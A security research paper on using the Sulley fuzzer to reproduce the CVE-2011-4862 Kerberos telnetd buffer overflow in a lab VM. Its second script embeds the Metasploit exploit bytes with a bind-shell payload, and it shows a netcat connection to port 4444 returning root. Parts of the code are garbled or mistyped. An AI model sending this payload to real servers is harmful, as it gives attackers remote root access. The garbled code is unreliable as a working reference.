Using Sulley to Protocol Fuzz for Linux Software Vulnerabilities

Aron Warren
Abstract

Fuzzers are useful for discovering vulnerabilities in software services. Sulley is a common fuzzer with an ability to fuzz network protocols. This paper will describe the process for using Sulley to fuzz for a vulnerability in an implementation of the unencrypted telnet protocol. Specifically, Sulley will be used to detect the vulnerability that was found in CVE-2011-4862 implemented on the RedHat Enterprise Linux 3 distribution.
1. Introduction

The history of vulnerability discovery goes back for decades at this point and the breadth of methods for discovering vulnerabilities has grown over the decades as well. “Vulnerabilities are introduced into software during design and implementation” (Juuso, Rontti, & Tirila, 2011, p. 7). One particular area for discovering software vulnerabilities that security researchers and programmers alike have delved into is fuzzing. While fuzzing is not a common word in the English language, the practice has been around for over two decades. The first reference to fuzzing can be attributed to Professor Barton Miller, who in 1989, “developed and used a primitive fuzzer to test the robustness of UNIX applications” (Sutton, Green, & Amini, 2007, Chapter 2, section 2, para. 1).

Fuzzing can be defined as “a highly automated testing technique that covers numerous boundary cases using invalid data (from files, network protocols, API calls, and other targets) as application input to better ensure the absence of exploitable vulnerabilities” (Oehlert, 2005, p. 58). Programmers commonly use fuzz testing to verify that, under given inputs, an application is properly coded to not crash when given unexpected data. Similar, but with different goals, security researchers may use fuzz testing to discover vulnerabilities in improperly written code in order to exploit weaknesses.

When fuzzing has been determined to be applicable there are several steps to the fuzzing process: “identify target, identify inputs, generate fuzzed data, execute fuzzed data, monitor for exceptions and determine exploitability” (Cai, Zou, Dapeng, & He, 2015, p. 726). This paper will look at the target of fuzzing which focuses on network protocols, the practice known as network protocol fuzzing. Once the concept has been introduced and the Sulley fuzzing framework has been demonstrated, this paper will demonstrate an example of fuzzing the telnet protocol. While a vulnerability is not going to be discovered in the network protocol itself, this paper will look specifically at the way a fuzzer can be used to discover a vulnerability in an implementation of the telnet protocol, specifically a telnet server utilizing Kerberos encryption.

2. Protocol Fuzzing

Network protocol fuzzing is the practice of taking either a well documented, called white box testing, or not so well documented, called black box testing, networked protocol to discover
implementation vulnerabilities. This paper will use a hybrid of the two called gray box testing. Closed or proprietary protocols, such as NetBios, are more difficult to investigate as there may be little documentation publicly available. “The single most painful aspect of fuzz testing is the barrier to entry, especially when dealing with undocumented, complex binary protocols that require a great deal of research to understand” (Sutton, Greene, & Amini, 2007, Chapter 22, section 1, para. 1).

Open protocols, such as telnet, are well documented and easier to fuzz, especially if the protocol is cleartext based. Cleartext based protocols are the easiest to work with since there is little work to decipher what is being seen by a protocol sniffer. Another benefit of such open protocols is they may have been implemented differently by different vendors. Creating a fuzzing test suite for one protocol could be used against multiple vendor’s implementations yielding a greater probability of finding a vulnerability in an implementation. Before going further, it would be beneficial to overview the fuzzer used in this paper.

3. Sulley
Sulley was created by Pedram Amini and Aaron Portnoy around 2006. Originally hosted on Google Code at https://code.google.com/archive/p/sulley the latest development can now be found on Github at https://github.com/OpenRCE/sulley. The goal in developing the Sulley framework was for ease-of-use and flexibility that allowed for reproducibility and documentation of fuzzing states (Amini & Portnoy, 2007). In Sulley this is done by creating requests which are grouped together in a graph. Each segment of the graph is traversed allowing for complete testing each time. While walking the graph, session monitors, in the form of Netmon and Procmon, capture and document events being done on the network and the fuzzed system respectively. This allows for Sulley to restart testing in the event of a program or system crash. The addition of virtual machine controls allows for a VM to be reset back to a known good state in the event of a problem.

Sulley uses mutation based fuzzing which “uses samples of real-life inputs, like network traffic and files, as basis for testing” (Juuso, Rontti, & Tirila, 2011, p. 10).

4. CVE-2011-4862
The Telnet protocol was first proposed in 1971 under Request For Comment (RFC) 97, further revised in RFC 137 and extended under RFC 139. While still not an official protocol, it
was revised again under RFC 158, RFC 318, RFC 698, and finally formalized under RFC 854 in 1983 “to provide a fairly general, bi-directional, eight-bit byte oriented communications facility” (Postel & Reynolds, 1983, para. 1). Up to that point there was no encryption allowed for in the protocol specifications but that changed with RFC 2941 and 2946 in September 2000.

Along in 2011 came light of a implementation vulnerability (Juuso, Rontti, & Tirila, 2011), CVE-2011-4862, which was a “Buffer overflow in libtelnet/encrypt.c in telnetd in FreeBSD 7.3 through 9.0, MIT Kerberos Version 5 Applications (aka krb5-appl) 1.0.2 and earlier, Heimdal 1.5.1 and earlier, GNU inetutils, and possibly other products allows remote attackers to execute arbitrary code via a long encryption key, as exploited in the wild in December 2011” (MITRE, 2011). The actual vulnerability was a potential overflowing of the MAXKEYLEN field in the ENCID option. The code fix was simply:

```diff
diff --git a/telnet/libtelnet/encrypt.c b/telnet/libtelnet/encrypt.c
index f75317d..b8d6cdd 100644
--- a/telnet/libtelnet/encrypt.c
+++ b/telnet/libtelnet/encrypt.c
@@ -757,6 +757,9 @@ static void encrypt_keyid(kp,
 int dir = kp->dir;
 register int ret = 0;
+
+ if (len > MAXKEYLEN)
+   len = MAXKEYLEN;
+ if (!(*ep = (*kp->getcrypt)(*kp->modep))) {
+   if (len == 0)
+     return;

(MIT, 2011)
```

There is no identifiable attribution as to the discoverer of the vulnerability or their method for discovery. It is entirely possibly that code fuzzing may have discovered the vulnerability and as such what follows is a demonstration of how it may have been found.

5. Sulley Installation

5.1 Windows VM Setup

The installation of Sulley is not difficult, just time consuming given all of the various dependencies. The author initially attempted a Linux based installation which proved too difficult due to the number of unmet software dependencies. Complexity also arose when trying
to find compatible older software versions and meet their dependencies. Ultimately a Windows Installation (2016) was done loosely following the instructions. The installation was made a bit easier using the SANS Windows 7 SIFT workstation from previous forensics classes. The SIFT workstation already had several dependencies installed or were in need of an upgrade to a newer version. Specifically, the mingw version was too old. Installation options of the newer version of 0.6.2-beta-20131004-1 with a basic setup is shown in Figure 1.

<table>
<thead>
<tr>
<th>Package</th>
<th>Class</th>
<th>Installed Version</th>
<th>Repository Version</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>mingw-developer-tool</td>
<td>bin</td>
<td>2013072300</td>
<td></td>
<td>An MSYS Installation for MinGW Development</td>
</tr>
<tr>
<td>mingw32-base</td>
<td>bin</td>
<td>2013072200</td>
<td></td>
<td>A Basic MinGW Installation</td>
</tr>
<tr>
<td>mingw32-gcc-g77</td>
<td>bin</td>
<td>4.8.1-4</td>
<td></td>
<td>The GNU Ada Compiler</td>
</tr>
<tr>
<td>mingw32-gcc-fortran</td>
<td>bin</td>
<td>4.8.1-4</td>
<td></td>
<td>The GNU FORTRAN Compiler</td>
</tr>
<tr>
<td>mingw32-gcc-g++</td>
<td>bin</td>
<td>4.8.1-4</td>
<td></td>
<td>The GNU C++ Compiler</td>
</tr>
<tr>
<td>mingw32-gcc-objc</td>
<td>bin</td>
<td>4.8.1-4</td>
<td></td>
<td>The GNU Objective-C Compiler</td>
</tr>
<tr>
<td>moys-base</td>
<td>bin</td>
<td>2013072300</td>
<td></td>
<td>A Basic MSYS Installation (meta)</td>
</tr>
</tbody>
</table>

Figure 1.

Next to be installed was python-2.7.2 from http://www.python.org/ftp/python/2.7.2/python-2.7.2.msi

Figure 2 shows a selection to install all python options:

Next to be installed was the git version control software, specifically version 2.6.4 from https://git-for-windows.github.io/. Installation options are in Figure 3.
There were additional installation options but are omitted from here for brevity. To finish, an update to the PATH environment variable was necessary to include the updated software versions, specifically python 2.7:

```
```

5.2 Sulley build inside Windows

To begin the building and installation of sully a git bash shell was opened. While the build output any any errors encounters were omitted from the steps below, a rough overview of the steps needed follow:

```
mkdir c:/sulley_build
cd sulley_build/
git clone https://Fitblip@github.com/Fitblip/pydbg.git
cd pydbg/
python setup.py install

cd ../libdasm/pydasm
python setup.py build_ext -c mingw32
```

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```bash
python setup.py install
cd c:/sulley_build/pydbg
python setup.py install
cd c:/sulley_build/
git clone https://github.com/OpenRCE/sulley.git
git clone https://github.com/CoreSecurity/pcapy.git
wget https://bootstrap.pypa.io/ez_setup.py
python ez_setup.py
cd pcapy/
python setup.py
python setup.py install
```

Now that Sulley is installed and working in the Windows client, how to set up the Linux VM server.

5.3 Linux VM Setup

To create the environment for fuzzing a vulnerable telnet server the requisite versions of telnetd must be available. For this paper RedHat Enterprise Linux version 3 was desired. CentOS Linux is a free distribution that attempts to mirror the commercial RedHat Enterprise Linux distribution. CentOS was the chosen distribution for this demonstration. Archived CentOS version 3.1 was available at http://vault.centos.org. After creating the necessary Virtual Machine (VM) the vulnerable telnetd version needed to be installed. With CentOS the kerberized telnet daemon is in the krb5-workstation package as shown:

```
[root@localhost RPMS]# rpm -qlp krb5-workstation-1.2.7-19.i386.rpm | grep telnetd
/usr/kerberos/man/man8/telnetd.8.gz
/usr/kerberos/sbin/telnetd
```

This version happens to be vulnerable from a fresh install of CentOS 3.1. After installation of the krb5-workstation rpm and configuring xinetd to allow connections to telnetd, a simple test from metasploit of the linux/telnet/telnet_encrypt_keyid (Estebanez, Perry, Rosenberg, & Moore, 2011) exploit proves that this version is vulnerable. At this point xinetd needs to be stopped or the telnetd configuration disabled before proceeding.

In order for Sulley to monitor the telnetd daemon with procmon the Sulley framework must be installed in the CentOS VM. Following is a basic overview of the steps needed but may not reflect the exact ordering of steps or all dependencies needed.
cd /root/sulleyinstall/
yum install flex byacc
rpm -i python-devel-2.2.3-5.i386.rpm
rpm -i compat-gcc* -d .
rpm -Uvh /root/RPMS/pyxf86config-0.3.5-1.i386.rpm

wget 'https://github.com/OpenRCE/sulley/zipball/master' -O sulley.zip
wget https://github.com/CoreSecurity/impacket/archive/master.zip
mv master Impacket.zip; unzip Impacket.zip

wget https://www.python.org/ftp/python/2.7.11/Python-2.7.11.tgz
tar xvfz Python-2.7.11.tgz
cd Python-2.7.11
./configure --prefix=/usr/local
make; make install
export PATH="/usr/local/bin:/usr/local/sbin:$PATH"

cd /root/sulleyinstall/libdasm-1.5/pydasm/
python setup.py build_ext
make install

cd /root/sulleyinstall/impacket-master/
python setup.py build
python setup.py install

cd /root/sulleyinstall
wget https://github.com/CoreSecurity/pcapy/archive/master.zip
mv master pcapy.zip; mkdir pcapy; cd pcapy
unzip ../pcapy.zip
cd pcapy-master/
python setup.py install

wget https://bootstrap.pypa.io/ez_setup.py -O - | /usr/local/bin/python
wget https://bitbucket.org/pypa/setuptools/get/default.tar.gz#egg=setuptools-dev
tar xvfz default.tar.gz
cd pypa-setuptools-33e5f63a950f/
python setup.py install --prefix=/usr/local

/root/sulleyinstall/pcapy/pcapy-master/
python setup.py install

With the ability to run process_monitor.py on the VM we can now develop a Sulley script to run on the Windows VM and fuzz against the Centos 3 telnet daemon.

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6. Sulley Grammar

Before beginning developing a Sulley script the grammar that will be used needs to be addressed. Following are several sections that will be used to build the scripts used in this paper. All Sulley commands being with a “s_” prefix.

6.1 Primitives

s_static() creates a static unmutating value. An example call would be: s_static(“\n\r”).

s_int() creates a 4 byte word. An example call with an initial value of 555, formatted in ASCII and is a mutating integer would be: s_int(“555”, format=”ascii”, fuzzable=True).

6.2 Blocks and Groups

Primitives can be nested within blocks. Blocks are started with s_block_start() and end with s_block_end(). A group, using s_group(), is a collection of primitives that the block should cycle through. An example group of static usernames would be: s_group(“usernames”, values=[“Fred”, ”Alice”]). To iterate across both usernames with a return and null character would be done as:

```python
s_group(“usernames”, values=[“Fred”, ”Alice”])
if s_block_start(“mainuser”, group=”usernames”)
    s_static(‘\r’\x00’)
s_block_end(“mainuser”)
```

6.3 Sessions

When there are a number of requests grouped together, such as primitives and blocks, they naturally form sessions. Sessions may be likened to points in a graph. One graph point can lead off to multiple sessions, or sub-graphs. Sulley is designed to traverse all parts of the graph giving complete test coverage. For the sake of brevity a well commented session is laid out in the Sulley script in next section.

7. Sulley script creation

The first step in developing the script is to understand how the desired protocol works. There are at several methods for determining the telnet protocol’s specifications. The first is to
read the RFCs to understand the syntax and structure of the protocol. Given that vendors, individuals or groups may implement protocols contrary to the protocol’s specifications (Gu, Song, Zhaoi, & Li, 2011), or in a different manner, it might be easier to sniff a network session to determine the way the protocol is implemented on the desired target. It is best to perform network sniffing on the server being exploited as the packets may not be sent or received in the same order that a sniffer on the attacking machine may see them due to network delays.

Newer protocol dissectors give the protocol options sent or received in addition to their hex values, both of which are useful in developing the Sulley script as shown in Figure 4.

Figure 4.
After having taken all of the client-server packets, extracted each option passed back and forth in hex, an initial sulley script follows based upon those observed packets:

```python
#!/usr/bin/python
# vim: set fileencoding=utf-8 :

from sulley import *
import sys
import time
import random

# Create a random string
def randomstring():
    s = ""
    for i in range(random.randint(1,8)):
        # [a-z]
        s += chr(random.randint(0x61,0x7a))
    return s

# Define the pre-fuzzing session options
def preconnection(sock):
    # Send Telnet Session Options in hex directly over the socket
    sock.send("\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x22\xff\xfb\x27\xff\xfb\x05")
    # Sleep for 2 seconds
    time.sleep(2.0)
    # Send "Wont Auth"
    sock.send("\xff\xfc\x25")
    time.sleep(2.0)
    # Send "Encryption Option"
    sock.send("\xff\xfa\x26\xff\xfa\x26\x01\x01\x02\xff\xf0\xff\xfa\x1f\xff\xf0\xff\xfa\x00\xff\xfd\x05")
    time.sleep(2.0)
    # Send other options
    sock.send("\xff\xfc\x23\xff\xfc\x24")
    time.sleep(2.0)
    sock.send("\xff\xfa\x20\x00\x33\x38\x34\x30\x3c\x33\x38\x34\x30\x30\xff\xf0\xff\xfa\x27\x00\xff\x0f\xff\xf0\xff\xfa\x18\x00\x53\x43\x52\x45\x45\xff\x0f")
    time.sleep(2.0)
    sock.send("\xff\xfc\x01")
    time.sleep(2.0)
    sock.send("\xff\xfd\x01")
    time.sleep(2.0)

    # The session name being initialized for the fuzzing session
    s_initialize("USERNAME")

    # Define a group with some sample static usernames
    s_group("usernames", values = ["Fred", "Bob", "Jeff", "Joe"])
```

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# Iterate across the group of usernames
if _block_start("mainuser", group="usernames"):
    # The username is already sent at this point so send a NULL
    s_static("\r\000")
    time.sleep(5.0)
    # This should be the password being sent. A fuzzable ascii integer whose default value is #5551
    s_int("5551", format="ascii", fuzzable=True)
    s_static("\r\000")
    time.sleep(5.0)
    _block_end("mainuser")

# Just an example of a random string password that could replace the above password.
s_initialize("PASSWORD")
s_static(randomstring())
s_static("\r")
    time.sleep(5.0)

print "Mutations: " + str(s_num_mutations())

print "Press CTRL/C to cancel in ",
for i in range(5):
    print str(5 - i) + " ",
    sys.stdout.flush()
    time.sleep(1)

def receive_telnet_banner(sock):
    sock.recv(1024)

print "Instantiating session"
# A session is created using tcp with various options useful for debugging.
sess = sessions.session(proto="tcp", log_level=7, session_filename='telnetfuzzlog1.txt',
    sleep_time=20.0, timeout=30.0, crash_threshold=30.0)

print "Setting up preconnection"
sess.pre_send = preconnection

print "Instantiating target"
target = sessions.target('192.168.3.132', 23)
target.procmon = pedrpc.client('192.168.3.132', 26005)

# What process for procmon to monitor in addition to how to stop or start that process.
target.procmon_options = {
    "proc_name" : "/usr/kerberos/sbin/telnetd",
    "stop_commands" : ["/usr/bin/pkill telnetd"],
    "start_commands" : ["/usr/kerberos/sbin/telnetd -a debug -debug"],
}

# Grab the banner and send pre-connection options
sess.pre_send = receive_telnet_banner
sess.add_target(target)

# Create the connection

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sessed.connect(s_get("USERNAME"))

# And begin fuzzing
print "Starting fuzzing now"
sess.fuzz()

With this script we are able to initiate fuzzing on the Windows VM via:

```
cd /c/sulley_build/sulley/telnetfuzz1.py
python telnetfuzz1.py
```

The beginning of the fuzzing session output:

```
Mutations: 0
Press CTRL/C to cancel in  5  4  3  2  1 [2016-01-22 15:26:14,701]
[INFO] -> current fuzz path: -> USERNAME
[2016-01-22 15:26:14,701] [INFO] -> fuzzed 0 of 564 total cases
[2016-01-22 15:26:14,701] [INFO] -> fuzzing 1 of 564

The telnetd process was not running:

```
[2016-01-22 15:26:15,746] [CRITICAL] -> failed connecting on socket
Exception caught: error(10061, 'No connection could be made because the target machine actively refused it')
Restarting target and trying again
[2016-01-22 15:26:15,746] [WARNING] -> restarting target process
[2016-01-22 15:26:43,062] [INFO] -> xmitting: [1.1]
```

Fred was the first username followed by return and NULL characters. Next is the random ASCII integer followed by return and NULL characters.

```
[2016-01-22 15:26:43,062] [DEBUG] -> Packet sent :
'Fred\r\nlocalhost.localdomain (Linux release 2.4.21-9.0.1.EL.c0 #1 Sat Mar 6 08:10:10 GMT 2004)'
```

The next set of output is the initial session creation and sending of options to telnetd.
This output is out of order as it should proceed the above text, but this is how it was displayed during the execution.

```
'\xff\xfd%\xff\xfb&\xff\xfd&\xff\xfa&\x01\x01\x02\xff\xf0\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\xff\xfd\xff\xfd\xff\xfa\xff\xfd'\xff\xfb\x05\xff\xfd\xff\xfd\$\xff\xfa\x01\xff\xf0\xff\xfa'\x01\xff\xf0\xff\xfe\xa8\x01\xff\xf0\xff\xe0\xff\xfd\x01\xff\xfd\xff\xfb\x01\r\n
localhost.localdomain (Linux release 2.4.21-9.0.1.EL.c0 #1 Sat Mar 6 08:10:10 GMT 2004)
```

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Procmon next determines that telnetd has crashed and gives the conditions causing the failure.

This is an imperfect example due to telnetd's behavior. This version of telnetd is expected to run from xinetd and not as a static running daemon. This means that a telnetd process is created each time a telnet connection is established. Sulley then decides that the program has crashed because of the fuzzing when in actuality this is not the case. The above script could have implemented two additional authentication attempt but for simplicity was not chosen to be demonstrated. Sulley, as designed, restarted telnetd and begins with the next fuzzing event:

Sulley will then continue on through all of the possible combinations of the graph traversal eventually finishing after 564 fuzz attempts. This example shows how the connections

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are established to the telnetd daemon.

8. Revised Sulley Script with Encryption

The next script is an expanded version of the one found in section 7 to include the kerberos encryption options as well as an exploit payload.

```python
#!/usr/bin/python
# vim: set fileencoding=utf-8:

from sulley import *
import sys
import time
import random

def randomstring():
    s = ""
    for i in xrange(random.randint(1,8)):
        # [a-z]
        s += chr(random.randint(0x61,0x7a))
    return s

def preconnection(sock):
    # Send Seession Options
    sock.send("\xff\xfd\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\x22\xff\xfb\x27\xff\xfd\x05")
    time.sleep(2.0)
    # Won't Auth Option
    sock.send("\xff\xfc\x25")
    time.sleep(2.0)
    # Don't Encryption Option
    sock.send("\xff\xfc\x26")
    time.sleep(2.0)
    # Won't Encryption Option, Won't Terminal Option, Won't Terminal Speed, Won't Display Location
    # Won't New Environment Option, Won't Environment Option
    sock.send("\xff\xfc\x26\xff\xfc\x18\xff\xfc\x20\xff\xfc\x23\xff\xfc\x27\xff\xfc\x24")
    time.sleep(2.0)
    # Do Suppress Go Ahead
    sock.send("\xff\xfd\x03")
    time.sleep(2.0)
    # Won't Echo, Won't Negotiate About Window Size, Don't Status, Won't Remote Flow Control
    sock.send("\xff\xfc\x01\xff\xfc\x1f\xff\xe0\x05\xff\xfc\x21")
    time.sleep(2.0)
    # Don't Echo
    sock.send("\xff\xfc\x01")
```

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```python
time.sleep(2.0)
#	Here we begin the encryption setup:
#	Suboption Encryption Option, Suboption End
#	Enc Cmd: IS, Enc Type: DES_CFB64
# 011213141516171819
sock.send("\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0")
time.sleep(2.0)
```

# The code snippit below found at https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb is
# Copyright (C) 2006-2016, Rapid7 LLC under the BSD-3-Clause which can be found at
# https://github.com/rapid7/metasploit-framework/blob/master/LICENSE

# See Appendix B for license terms
#
# Suboption Encryption Option
# Enc_KEYID (7)
# Key ID:

```
#0040 fF FF 26 07 eB 76 47 63 59 6D 66 56 52 30
#0050 31 47 33 71 44 67 33 6D 58 62 75 75 6C 43 76 38
#0060 77 45 62 51 57 77 55 4F 64 6B 54 68 46 37 35 4F
#0070 54 39 32 63 49 62 61 63 6F 30 30 79 76 69 6F 48 6F
#0080 6D 39 32 7A 30 53 49 44 67 33 6D 58 62 75 75 6C 43 76 38
#0090 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#00A0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#00B0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#00C0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#00D0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#00E0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#00F0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0100 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0110 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0120 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0130 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0140 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0150 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0160 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0170 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0180 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#0190 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#01A0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#01B0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#01C0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
#01D0 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33 04 08 33
```

# Includes encryption option: keyid, payload, and then suboption end

Aron Warren, aronwarren@gmail.com
s_initialize("USERNAME")
time.sleep(90.0)

Aron Warren, aronwarren@gmail.com
s_group("usernames", values = ["Fred", "Bob", "Jeff", "Joe"])  

if s_block_start("mainuser", group="usernames"):  
    #s_delim("\r", fuzzable=False)  
    s_static("\r\x00")  
    time.sleep(10.0)  
    # This should be the password  
    s_int("5551", format="ascii", fuzzable=True)  
    s_static("\r\x00")  
    time.sleep(35.0)  
    s_block_end("mainuser")  

    #s_initialize("PASSWORD")  
    #s_static(randomstring())  
    #s_static("\r")  
    #time.sleep(5.0)  

print "Mutations: " + str(s_num_mutations())  
print "Press CTRL/C to cancel in ",  
for i in range(5):  
    print str(5 - i) + " ",  
    sys.stdout.flush()  
    time.sleep(1)

def receive_telnet_banner(sock):  
    sock.recv(1024)

print "Instantiating session"  
sess = sessions.session(proto="tcp", log_level=7, session_filename='telnetfuzzlog1.txt',  
sleep_time=10.0, timeout=15.0, crash_threshold=30.0, restart_interval=0)  

print "Setting up preconnection"  
sess.pre_send = preconnection

print "Instantiating target"  
target = sessions.target('192.168.3.132', 23)  
target.procmon = pedrpc.client('192.168.3.132', 26005)  

target.procmon_options = {  
    "proc_name": "/usr/kerberos/sbin/telnetd",  
    "stop_commands": ["/usr/bin/pkill telnetd"],  
    "start_commands": ["/usr/kerberos/sbin/telnetd -d -n"]  
}  

sess.add_target(target)  

sess.connect(s_get("USERNAME"))  

print "Starting fuzzing now"
When running the above script with the backdoor payload and logging the fuzzed test to the same log files, we resume testing at test case number 13 instead of beginning at test case number 1.

Mutations: 564
Press CTRL/C to cancel in 5 4 3 2 1
[2016-01-22 15:44:13,401] [INFO] -> current fuzz path: ->
USERNAME
[2016-01-22 15:44:13,401] [INFO] -> fuzzed 0 of 564 total cases
[2016-01-22 15:44:13,401] [INFO] -> fuzzing 13 of 564
[2016-01-22 15:44:14,447] [CRITICAL] -> failed connecting on socket
Exception caught: error(10061, 'No connection could be made because the target machine actively refused it')
Restarting target and trying again
[2016-01-22 15:44:14,447] [WARNING] -> restarting target process
[2016-01-22 15:46:22,769] [DEBUG] -> received: [85]
[2016-01-22 15:46:22,769] [INFO] -> sleeping for 20.000000 seconds
[2016-01-22 15:46:22,785] [INFO] -> fuzzing 14 of 564
[2016-01-22 15:46:43,829] [CRITICAL] -> failed connecting on socket
Exception caught: error(10061, 'No connection could be made because the target machine actively refused it')
Restarting target and trying again
[2016-01-22 15:46:43,829] [WARNING] -> restarting target process

What is different about this test case is subtle. There doesn’t show an exit code like this: “Crash: Test - 2 Reason - Exit with code -1” as seen with the first script. In looking on the Linux VM it can be found that the payload was delivered and a backdoor socket was open waiting for commands.

[2016-01-22 15:46:22,769] [INFO] -> fuzzing 13 of 564
[2016-01-22 15:46:43,829] [CRITICAL] -> failed connecting on socket
Exception caught: error(10061, 'No connection could be made because the target machine actively refused it')
Restarting target and trying again
[2016-01-22 15:46:43,829] [WARNING] -> restarting target process

Using another machine we can then netcat to the host and issue commands:

```
warren$ nc -4 192.168.3.132 4444
id
```

Aron Warren, aronwarren@gmail.com
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(ad m),6(disk),10(wheel)

The particular payload carried along with the exploit was the metasploit linux/x86/shell_bind_tcp. This single stage payload opens a port allowing for commands to be entered into a bash shell via netcat (Baggett, 2010).

8. Conclusion:
This paper demonstrated how to perform a network protocol fuzz against a known vulnerable telnet daemon with Kerberos encryption enabled. Starting out with an understanding of the Sulley framework’s grammar, a description of a known exploit, and a network sniffing session a Sulley script was developed. Once the script was able to perform basic communications with telnetd a second script containing a buffer overflow and backdoor payload was exampled. Such an easy example demonstrates the ability of Sulley to perform mutation based fuzzing of network protocols.
References:


Aron Warren, aronwarren@gmail.com
Massachusetts Institute of Technology (2011). *Buffer overflow in telnet daemon and client.*


Aron Warren, aronwarren@gmail.com
### Appendix A: Telnet Options

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<th>Description</th>
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<td>DO ECHO</td>
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Aron Warren, aronwarren@gmail.com
Using Sulley to Protocol Fuzz for Linux Software Vulnerabilities

Aron Warren, aronwarren@gmail.com

unset
echo
escape
rlogin
tracefile
flushoutput
interrupt
quit
eof
erase
kill
lnext
suspend
renprint
worderase
start
stop
forw1
forw2
ayt
autoflush
autologin
authdebug
autoencrypt
autodecrypt
verbose_encrypt
encdebug
skiprc
binary
inbinary
outbinary
crlf
crmode
localchars
debug
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import
check
auth
status
disable
NULL
KERBEROS_V5
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enable
NULL
KERBEROS_V5
KERBEROS_V4
encrypt
enable
disable
type
DES_CFB64
DES_OFB64
start
stop
input
-input
output
-output
status
forward
status
disable
enable
forwardable

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